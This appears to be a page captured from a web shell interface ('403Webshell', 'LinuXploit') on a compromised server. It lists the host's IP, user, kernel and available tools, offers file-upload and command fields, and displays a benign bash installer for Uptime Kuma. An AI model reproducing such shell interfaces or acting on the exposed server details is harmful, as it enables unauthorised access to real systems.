403Webshell
Server IP : 104.129.129.72  /  Your IP : 216.73.216.229
Web Server : LiteSpeed
System : Linux 123answers 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
User : answe8064 ( 1002)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/installer/apps/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/installer/apps/uptimekuma-latest-offirepo
#!/bin/bash

if [ -f "include/startup.sh" ]; then
    . include/startup.sh
elif [ -f "../include/startup.sh" ]; then
    . ../include/startup.sh
fi

checkTagExist nginx.success

rootDir=$(rootDir)

echo "Setting Hostname" | log
hostnamectl set-hostname ${CWM_DOMAIN}

echo "Creating UpTime-Kuma Volume" | log
docker volume create uptime-kuma

echo "Creating NGINX VirtualHost" | log
cp $rootDir/tweaks/extras/uptime-kuma/uptime-kuma.conf /etc/nginx/sites-available/
sed -i "s/CWMDOMAIN/${CWM_DOMAIN}/g" /etc/nginx/sites-available/uptime-kuma.conf
ln -s /etc/nginx/sites-available/uptime-kuma.conf /etc/nginx/sites-enabled/
unlink /etc/nginx/sites-enabled/default
unlink /etc/nginx/sites-enabled/default-ssl
systemctl restart nginx
waitOrStop 0 "Restart nginx service failed"

echo "Starting UpTime-Kuma container" | log
systemctl restart docker
sleep 5
docker run -d --name uptime-kuma --restart unless-stopped \
	-p 3001:3001 -v "uptime-kuma:/app/data" "louislam/uptime-kuma:1"

echo "Enabling Docker Service & Restarting Services" | log
systemctl enable docker
sleep 2
systemctl restart nginx
sleep 2
waitOrStop 0 "Restart nginx service failed"

echo "Adding descriptions" | log
descriptionAppend "Uptime-Kuma Web UI: https://${CWM_DOMAIN}"
descriptionAppend " "

tagScript success

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit